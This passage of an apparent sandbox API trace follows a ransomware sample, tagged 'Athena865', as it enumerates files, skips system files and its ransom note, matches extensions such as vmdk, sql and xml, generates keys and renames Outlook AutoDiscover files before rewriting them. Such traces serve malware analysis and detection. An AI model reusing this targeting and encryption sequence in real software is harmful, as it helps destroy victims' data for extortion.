(HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0153.247] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0153.247] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0153.247] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54f078) returned 1 [0153.248] CryptGenRandom (in: hProv=0x54f078, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0153.248] CryptReleaseContext (hProv=0x54f078, dwFlags=0x0) returned 1 [0153.248] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x630, lpName=0x0) returned 0x154 [0153.250] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x630) returned 0x100000 [0153.250] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54f078) returned 1 [0153.251] CryptGenRandom (in: hProv=0x54f078, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0153.251] CryptReleaseContext (hProv=0x54f078, dwFlags=0x0) returned 1 [0153.251] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0153.251] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0153.251] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0153.251] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0153.251] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0153.251] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0153.251] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0153.252] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0153.252] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0153.252] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0153.252] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0153.252] CloseHandle (hObject=0x154) returned 1 [0153.252] CloseHandle (hObject=0x17c) returned 1 [0153.252] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0153.252] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0153.252] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0153.252] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd91000e0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xd91000e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0153.252] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0153.252] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x6a513ab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x332, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NL.ROGERS.COM.XML", cAlternateFileName="NLROGE~1.XML")) returned 1 [0153.252] lstrcmpiW (lpString1="NL.ROGERS.COM.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0153.252] lstrcmpiW (lpString1="NL.ROGERS.COM.XML", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0153.252] lstrcmpiW (lpString1="NL.ROGERS.COM.XML", lpString2=".") returned 1 [0153.252] lstrcmpiW (lpString1="NL.ROGERS.COM.XML", lpString2="..") returned 1 [0153.252] lstrcmpiW (lpString1="NL.ROGERS.COM.XML", lpString2="windows") returned -1 [0153.253] lstrcmpiW (lpString1="NL.ROGERS.COM.XML", lpString2="bootmgr") returned 1 [0153.253] lstrcmpiW (lpString1="NL.ROGERS.COM.XML", lpString2="temp") returned -1 [0153.253] lstrcmpiW (lpString1="NL.ROGERS.COM.XML", lpString2="pagefile.sys") returned -1 [0153.253] lstrcmpiW (lpString1="NL.ROGERS.COM.XML", lpString2="boot") returned 1 [0153.253] lstrcmpiW (lpString1="NL.ROGERS.COM.XML", lpString2="ids.txt") returned 1 [0153.253] lstrcmpiW (lpString1="NL.ROGERS.COM.XML", lpString2="ntuser.dat") returned -1 [0153.253] lstrcmpiW (lpString1="NL.ROGERS.COM.XML", lpString2="perflogs") returned -1 [0153.253] lstrcmpiW (lpString1="NL.ROGERS.COM.XML", lpString2="MSBuild") returned 1 [0153.253] lstrlenW (lpString="NL.ROGERS.COM.XML") returned 17 [0153.253] lstrcpyW (in: lpString1=0x241e8c6, lpString2="NL.ROGERS.COM.XML" | out: lpString1="NL.ROGERS.COM.XML") returned="NL.ROGERS.COM.XML" [0153.253] lstrlenW (lpString="NL.ROGERS.COM.XML") returned 17 [0153.253] lstrlenW (lpString="Athena865") returned 9 [0153.253] lstrcmpiW (lpString1="S.COM.XML", lpString2="Athena865") returned 1 [0153.253] lstrlenW (lpString=".dll") returned 4 [0153.253] lstrcmpiW (lpString1="NL.ROGERS.COM.XML", lpString2=".dll") returned 1 [0153.253] lstrlenW (lpString=".lnk") returned 4 [0153.253] lstrcmpiW (lpString1="NL.ROGERS.COM.XML", lpString2=".lnk") returned 1 [0153.253] lstrlenW (lpString=".ini") returned 4 [0153.253] lstrcmpiW (lpString1="NL.ROGERS.COM.XML", lpString2=".ini") returned 1 [0153.253] lstrlenW (lpString=".sys") returned 4 [0153.253] lstrcmpiW (lpString1="NL.ROGERS.COM.XML", lpString2=".sys") returned 1 [0153.253] lstrlenW (lpString="NL.ROGERS.COM.XML") returned 17 [0153.253] lstrlenW (lpString="bak") returned 3 [0153.253] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1 [0153.253] lstrlenW (lpString="ba_") returned 3 [0153.253] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1 [0153.253] lstrlenW (lpString="dbb") returned 3 [0153.253] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1 [0153.254] lstrlenW (lpString="vmdk") returned 4 [0153.254] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1 [0153.254] lstrlenW (lpString="rar") returned 3 [0153.254] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1 [0153.254] lstrlenW (lpString="zip") returned 3 [0153.254] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1 [0153.254] lstrlenW (lpString="tgz") returned 3 [0153.254] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1 [0153.254] lstrlenW (lpString="vbox") returned 4 [0153.254] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1 [0153.254] lstrlenW (lpString="vdi") returned 3 [0153.254] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1 [0153.254] lstrlenW (lpString="vhd") returned 3 [0153.254] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1 [0153.254] lstrlenW (lpString="vhdx") returned 4 [0153.254] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1 [0153.254] lstrlenW (lpString="avhd") returned 4 [0153.254] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1 [0153.254] lstrlenW (lpString="db") returned 2 [0153.254] lstrcmpiW (lpString1="ML", lpString2="db") returned 1 [0153.254] lstrlenW (lpString="db2") returned 3 [0153.254] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1 [0153.254] lstrlenW (lpString="db3") returned 3 [0153.254] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1 [0153.254] lstrlenW (lpString="dbf") returned 3 [0153.254] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1 [0153.254] lstrlenW (lpString="mdf") returned 3 [0153.254] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1 [0153.255] lstrlenW (lpString="mdb") returned 3 [0153.255] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1 [0153.255] lstrlenW (lpString="sql") returned 3 [0153.255] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1 [0153.255] lstrlenW (lpString="sqlite") returned 6 [0153.255] lstrcmpiW (lpString1="OM.XML", lpString2="sqlite") returned -1 [0153.255] lstrlenW (lpString="sqlite3") returned 7 [0153.255] lstrcmpiW (lpString1="COM.XML", lpString2="sqlite3") returned -1 [0153.255] lstrlenW (lpString="sqlitedb") returned 8 [0153.255] lstrcmpiW (lpString1=".COM.XML", lpString2="sqlitedb") returned -1 [0153.255] lstrlenW (lpString="xml") returned 3 [0153.255] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0 [0153.255] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\NL.ROGERS.COM.XML.Athena865") returned 90 [0153.255] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\NL.ROGERS.COM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\nl.rogers.com.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\NL.ROGERS.COM.XML.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\nl.rogers.com.xml.athena865"), dwFlags=0x1) returned 1 [0153.257] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\NL.ROGERS.COM.XML.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\nl.rogers.com.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0153.257] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=818) returned 1 [0153.257] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0153.258] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0153.258] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0153.258] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54f078) returned 1 [0153.258] CryptGenRandom (in: hProv=0x54f078, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0153.258] CryptReleaseContext (hProv=0x54f078, dwFlags=0x0) returned 1 [0153.259] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x640, lpName=0x0) returned 0x154 [0153.260] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x640) returned 0x100000 [0153.261] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54f078) returned 1 [0153.262] CryptGenRandom (in: hProv=0x54f078, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0153.262] CryptReleaseContext (hProv=0x54f078, dwFlags=0x0) returned 1 [0153.262] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0153.262] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0153.262] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0153.262] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0153.262] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0153.262] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0153.262] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0153.263] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0153.263] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0153.263] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0153.263] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0153.263] CloseHandle (hObject=0x154) returned 1 [0153.263] CloseHandle (hObject=0x17c) returned 1 [0153.263] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0153.263] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0153.263] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0153.263] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x6a87fa50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NVBELL.NET.XML", cAlternateFileName="NVBELL~1.XML")) returned 1 [0153.263] lstrcmpiW (lpString1="NVBELL.NET.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0153.263] lstrcmpiW (lpString1="NVBELL.NET.XML", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0153.263] lstrcmpiW (lpString1="NVBELL.NET.XML", lpString2=".") returned 1 [0153.263] lstrcmpiW (lpString1="NVBELL.NET.XML", lpString2="..") returned 1 [0153.263] lstrcmpiW (lpString1="NVBELL.NET.XML", lpString2="windows") returned -1 [0153.263] lstrcmpiW (lpString1="NVBELL.NET.XML", lpString2="bootmgr") returned 1 [0153.263] lstrcmpiW (lpString1="NVBELL.NET.XML", lpString2="temp") returned -1 [0153.263] lstrcmpiW (lpString1="NVBELL.NET.XML", lpString2="pagefile.sys") returned -1 [0153.264] lstrcmpiW (lpString1="NVBELL.NET.XML", lpString2="boot") returned 1 [0153.264] lstrcmpiW (lpString1="NVBELL.NET.XML", lpString2="ids.txt") returned 1 [0153.264] lstrcmpiW (lpString1="NVBELL.NET.XML", lpString2="ntuser.dat") returned 1 [0153.264] lstrcmpiW (lpString1="NVBELL.NET.XML", lpString2="perflogs") returned -1 [0153.264] lstrcmpiW (lpString1="NVBELL.NET.XML", lpString2="MSBuild") returned 1 [0153.264] lstrlenW (lpString="NVBELL.NET.XML") returned 14 [0153.264] lstrcpyW (in: lpString1=0x241e8c6, lpString2="NVBELL.NET.XML" | out: lpString1="NVBELL.NET.XML") returned="NVBELL.NET.XML" [0153.264] lstrlenW (lpString="NVBELL.NET.XML") returned 14 [0153.264] lstrlenW (lpString="Athena865") returned 9 [0153.264] lstrcmpiW (lpString1="L.NET.XML", lpString2="Athena865") returned 1 [0153.264] lstrlenW (lpString=".dll") returned 4 [0153.264] lstrcmpiW (lpString1="NVBELL.NET.XML", lpString2=".dll") returned 1 [0153.264] lstrlenW (lpString=".lnk") returned 4 [0153.264] lstrcmpiW (lpString1="NVBELL.NET.XML", lpString2=".lnk") returned 1 [0153.264] lstrlenW (lpString=".ini") returned 4 [0153.264] lstrcmpiW (lpString1="NVBELL.NET.XML", lpString2=".ini") returned 1 [0153.264] lstrlenW (lpString=".sys") returned 4 [0153.264] lstrcmpiW (lpString1="NVBELL.NET.XML", lpString2=".sys") returned 1 [0153.264] lstrlenW (lpString="NVBELL.NET.XML") returned 14 [0153.264] lstrlenW (lpString="bak") returned 3 [0153.264] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1 [0153.264] lstrlenW (lpString="ba_") returned 3 [0153.264] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1 [0153.264] lstrlenW (lpString="dbb") returned 3 [0153.264] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1 [0153.264] lstrlenW (lpString="vmdk") returned 4 [0153.264] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1 [0153.264] lstrlenW (lpString="rar") returned 3 [0153.265] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1 [0153.265] lstrlenW (lpString="zip") returned 3 [0153.265] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1 [0153.265] lstrlenW (lpString="tgz") returned 3 [0153.265] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1 [0153.265] lstrlenW (lpString="vbox") returned 4 [0153.265] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1 [0153.265] lstrlenW (lpString="vdi") returned 3 [0153.265] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1 [0153.265] lstrlenW (lpString="vhd") returned 3 [0153.265] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1 [0153.265] lstrlenW (lpString="vhdx") returned 4 [0153.265] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1 [0153.265] lstrlenW (lpString="avhd") returned 4 [0153.265] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1 [0153.265] lstrlenW (lpString="db") returned 2 [0153.265] lstrcmpiW (lpString1="ML", lpString2="db") returned 1 [0153.265] lstrlenW (lpString="db2") returned 3 [0153.265] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1 [0153.265] lstrlenW (lpString="db3") returned 3 [0153.265] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1 [0153.265] lstrlenW (lpString="dbf") returned 3 [0153.265] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1 [0153.265] lstrlenW (lpString="mdf") returned 3 [0153.265] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1 [0153.265] lstrlenW (lpString="mdb") returned 3 [0153.265] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1 [0153.265] lstrlenW (lpString="sql") returned 3 [0153.265] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1 [0153.266] lstrlenW (lpString="sqlite") returned 6 [0153.266] lstrcmpiW (lpString1="ET.XML", lpString2="sqlite") returned -1 [0153.266] lstrlenW (lpString="sqlite3") returned 7 [0153.266] lstrcmpiW (lpString1="NET.XML", lpString2="sqlite3") returned -1 [0153.266] lstrlenW (lpString="sqlitedb") returned 8 [0153.266] lstrcmpiW (lpString1=".NET.XML", lpString2="sqlitedb") returned -1 [0153.266] lstrlenW (lpString="xml") returned 3 [0153.266] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0 [0153.266] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\NVBELL.NET.XML.Athena865") returned 87 [0153.266] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\NVBELL.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\nvbell.net.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\NVBELL.NET.XML.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\nvbell.net.xml.athena865"), dwFlags=0x1) returned 1 [0153.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\NVBELL.NET.XML.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\nvbell.net.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0153.268] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=810) returned 1 [0153.268] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0153.268] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0153.268] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0153.269] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54f078) returned 1 [0153.269] CryptGenRandom (in: hProv=0x54f078, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0153.269] CryptReleaseContext (hProv=0x54f078, dwFlags=0x0) returned 1 [0153.270] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x630, lpName=0x0) returned 0x154 [0153.271] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x630) returned 0x100000 [0153.272] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54f078) returned 1 [0153.273] CryptGenRandom (in: hProv=0x54f078, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0153.273] CryptReleaseContext (hProv=0x54f078, dwFlags=0x0) returned 1 [0153.273] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0153.273] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0153.273] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0153.273] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0153.273] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0153.273] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0153.273] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0153.273] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0153.273] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0153.273] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0153.273] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0153.273] CloseHandle (hObject=0x154) returned 1 [0153.273] CloseHandle (hObject=0x17c) returned 1 [0153.274] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0153.274] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0153.274] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0153.274] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PACBELL.NET.XML", cAlternateFileName="PACBEL~1.XML")) returned 1 [0153.274] lstrcmpiW (lpString1="PACBELL.NET.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0153.274] lstrcmpiW (lpString1="PACBELL.NET.XML", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0153.274] lstrcmpiW (lpString1="PACBELL.NET.XML", lpString2=".") returned 1 [0153.274] lstrcmpiW (lpString1="PACBELL.NET.XML", lpString2="..") returned 1 [0153.274] lstrcmpiW (lpString1="PACBELL.NET.XML", lpString2="windows") returned -1 [0153.274] lstrcmpiW (lpString1="PACBELL.NET.XML", lpString2="bootmgr") returned 1 [0153.274] lstrcmpiW (lpString1="PACBELL.NET.XML", lpString2="temp") returned -1 [0153.274] lstrcmpiW (lpString1="PACBELL.NET.XML", lpString2="pagefile.sys") returned -1 [0153.274] lstrcmpiW (lpString1="PACBELL.NET.XML", lpString2="boot") returned 1 [0153.274] lstrcmpiW (lpString1="PACBELL.NET.XML", lpString2="ids.txt") returned 1 [0153.274] lstrcmpiW (lpString1="PACBELL.NET.XML", lpString2="ntuser.dat") returned 1 [0153.274] lstrcmpiW (lpString1="PACBELL.NET.XML", lpString2="perflogs") returned -1 [0153.274] lstrcmpiW (lpString1="PACBELL.NET.XML", lpString2="MSBuild") returned 1 [0153.274] lstrlenW (lpString="PACBELL.NET.XML") returned 15 [0153.274] lstrcpyW (in: lpString1=0x241e8c6, lpString2="PACBELL.NET.XML" | out: lpString1="PACBELL.NET.XML") returned="PACBELL.NET.XML" [0153.274] lstrlenW (lpString="PACBELL.NET.XML") returned 15 [0153.274] lstrlenW (lpString="Athena865") returned 9 [0153.275] lstrcmpiW (lpString1="L.NET.XML", lpString2="Athena865") returned 1 [0153.275] lstrlenW (lpString=".dll") returned 4 [0153.275] lstrcmpiW (lpString1="PACBELL.NET.XML", lpString2=".dll") returned 1 [0153.275] lstrlenW (lpString=".lnk") returned 4 [0153.275] lstrcmpiW (lpString1="PACBELL.NET.XML", lpString2=".lnk") returned 1 [0153.275] lstrlenW (lpString=".ini") returned 4 [0153.275] lstrcmpiW (lpString1="PACBELL.NET.XML", lpString2=".ini") returned 1 [0153.275] lstrlenW (lpString=".sys") returned 4 [0153.275] lstrcmpiW (lpString1="PACBELL.NET.XML", lpString2=".sys") returned 1 [0153.275] lstrlenW (lpString="PACBELL.NET.XML") returned 15 [0153.275] lstrlenW (lpString="bak") returned 3 [0153.275] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1 [0153.275] lstrlenW (lpString="ba_") returned 3 [0153.275] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1 [0153.275] lstrlenW (lpString="dbb") returned 3 [0153.275] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1 [0153.275] lstrlenW (lpString="vmdk") returned 4 [0153.275] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1 [0153.275] lstrlenW (lpString="rar") returned 3 [0153.275] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1 [0153.275] lstrlenW (lpString="zip") returned 3 [0153.275] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1 [0153.275] lstrlenW (lpString="tgz") returned 3 [0153.275] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1 [0153.275] lstrlenW (lpString="vbox") returned 4 [0153.275] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1 [0153.275] lstrlenW (lpString="vdi") returned 3 [0153.275] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1 [0153.275] lstrlenW (lpString="vhd") returned 3 [0153.276] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1 [0153.276] lstrlenW (lpString="vhdx") returned 4 [0153.276] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1 [0153.276] lstrlenW (lpString="avhd") returned 4 [0153.276] lstrcmpiW (lpString1=".XML", 